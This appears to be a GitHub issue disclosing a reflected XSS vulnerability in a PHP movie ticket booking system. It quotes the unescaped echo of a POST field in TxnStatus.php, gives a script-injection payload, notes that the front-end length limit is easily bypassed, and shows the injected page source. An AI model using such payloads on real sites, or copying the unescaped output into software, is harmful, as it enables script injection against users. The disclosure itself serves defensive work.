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# Movie Ticket Booking System-PHP XSS vulnerability #5

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## Building environment: Apache2.4.49; MySQL5.7.26; PHP7.3.4

### 1.Movie Ticket Booking System-PHP XSS vulnerability

inTxnStatus. Php, code line 17: ORDER. The variable \$ORDER whose ID is input by the user and assigned through POST request. The ID is then directly output in line 44 of the code. Value="">There is no filtering. That is to say, we can construct a closed javascript statement to pop up the page. However, we can bypass the character limit at the front end, which is very simple

```
$ORDER_ID = $_POST["ORDER_ID"];
```

```
<td><input id="ORDER_ID" tabindex="1" maxlength="20" size="20" name="ORDER_ID" autocomplete="off" value=""><?php echo $ORDER_ID ?></td>
```

PAYLOAD:

```
"><script>alert("ace")</script>
```

### Transaction status query

ORDER ID:*	<script>alert("ace")</script>
	Status Query



Then check the website source code:

```
<td><input id="ORDER_ID" tabindex="1" maxlength="20" size="20" name="ORDER_ID" autocomplete="off" value=""><script>alert("ace")</script></td>
```

hucilulu closed this as completed 2 days ago

Assignees  
No one assigned

Labels  
None yet

Projects  
None yet

Milestone  
No milestone

Development  
No branches or pull requests

1 participant

